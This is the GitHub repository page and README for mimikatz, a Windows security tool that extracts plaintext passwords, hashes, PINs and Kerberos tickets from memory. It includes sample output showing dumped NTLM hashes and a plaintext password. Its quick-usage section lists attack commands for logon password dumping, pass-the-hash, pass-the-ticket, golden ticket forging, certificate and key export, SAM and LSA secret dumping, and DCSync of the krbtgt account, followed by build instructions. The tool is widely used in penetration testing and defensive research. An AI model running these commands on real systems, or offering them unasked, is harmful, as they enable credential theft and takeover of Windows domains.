



Sign in

 Notifications

Fork 3.7k

☆ Star 19.4k

Code

Issues 141

 Pull requests 33

Actions

Projects

 Wiki

Security

 Inside

master ▼



Go to file

<> Code ▼

About

A little tool to play with Windows security

 blog.gentilkiwi.com/mimikatz

 [Readme](#)

 Activity

☆ 19.4k stars

 916 watching

 3.7k forks

Report repository

Releases 11

2.2.0 20220919 Djoin p... Latest
on Sep 19, 2022

+ 10 releases

Packages

No packages published

Contributors 8



trunk.lst

README

Languages

● C 100.0%

mimikatz

mimikatz is a tool I've made to learn C and make some experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. **mimikatz** can also perform pass-the-hash, pass-the-ticket or build *Golden tickets*.

```
.#####.  mimikatz 2.0 alpha (x86) release "K:
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benji
'## v ##' https://blog.gentilkiwi.com/mimika
'#####' wi
```

```
mimikatz # privilege::debug
Privilege '20' OK
```

```
mimikatz # sekurlsa::logonpasswords
```

```
Authentication Id : 0 ; 515764 (00000000:0007del
Session          : Interactive from 2
User Name        : Gentil Kiwi
Domain           : vm-w7-ult-x
SID              : S-1-5-21-1982681256-12106540
```

```
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain   : vm-w7-ult-x
* LM       : d0e9aee149655a6075e4540af:
* NTLM     : cc36cf7a8514893efccd332440
* SHA1     : a299912f3dc7cf0023aef8e430
```

```
tspkg :
* Username : Gentil Kiwi
```

```
* Domain    : vm-w7-ult-x
* Password  : waza1234/
...
```

But that's not all! `Crypto`, `Terminal Server`, `Events`, ... lots of informations in the GitHub Wiki

<https://github.com/gentilkiwi/mimikatz/wiki> or on <https://blog.gentilkiwi.com> (in French, yes).

If you don't want to build it, binaries are available on <https://github.com/gentilkiwi/mimikatz/releases>

Quick usage

```
log
privilege::debug
```



sekurlsa

```
sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp
```



kerberos

```
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:0
```



crypto

```
crypto::capi
crypto::cng

crypto::certificates /export
```



```
crypto::certificates /export /systemstore:CERT_!
```

```
crypto::keys /export
```

```
crypto::keys /machine /export
```

vault & lsadump

```
vault::cred
```

```
vault::list
```



```
token::elevate
```

```
vault::cred
```

```
vault::list
```

```
lsadump::sam
```

```
lsadump::secrets
```

```
lsadump::cache
```

```
token::revert
```

```
lsadump::dcsync /user:domain\krbtgt /domain:lab
```

Build

`mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

- for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - <http://www.microsoft.com/download/details.aspx?id=44914>)
- for `mimikatz driver`, `mimiLove` (and `ddk2003` platform) : Windows Driver Kit 7.1 (WinDDK) - <http://www.microsoft.com/download/details.aspx?id=11800>

`mimikatz` uses `SVN` for source control, but is now available with `GIT` too! You can use any tools you want to sync, even incorporated `GIT` in Visual Studio 2013 =)

Synchronize!

- GIT URL is : <https://github.com/gentilkiwi/mimikatz.git>
- SVN URL is : <https://github.com/gentilkiwi/mimikatz/trunk>
- ZIP file is :
<https://github.com/gentilkiwi/mimikatz/archive/master.zip>

Build the solution

- After opening the solution, `Build / Build Solution` (you can change architecture)
- `mimikatz` is now built and ready to be used! (`Win32` / `x64` even `ARM64` if you're lucky)
 - you can have error `MSB3073` about `_build_.cmd` and `mimidrv`, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but `mimikatz` and `mimilib` are OK.

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default `msvcrt` runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - <http://www.microsoft.com/download/details.aspx?id=11800> and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

- <https://blog.gentilkiwi.com/programmation/executables-runtime-default-systeme>
- <https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#windowsheader>

Continuous Integration

mimikatz project is available on AppVeyor -
<https://ci.appveyor.com/project/gentilkiwi/mimikatz>

Its status is:  build passing

Licence

CC BY 4.0 licence -
<https://creativecommons.org/licenses/by/4.0/>

mimikatz needs coffee to be developed:

- PayPal: <https://www.paypal.me/delpy/>

Author

- Benjamin DELPY `gentilkiwi`, you can contact me on Twitter (@gentilkiwi) or by mail (benjamin [at] gentilkiwi.com)
- DCSync and DCSshadow functions in `lsadump` module were co-written with Vincent LE TOUX, you can contact him by mail (vincent.letoux [at] gmail.com) or visit his website (<http://www.mysmartlogon.com>)

This is a **personal** development, please respect its philosophy and don't use it for bad things!

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)



© 2024 GitHub, Inc.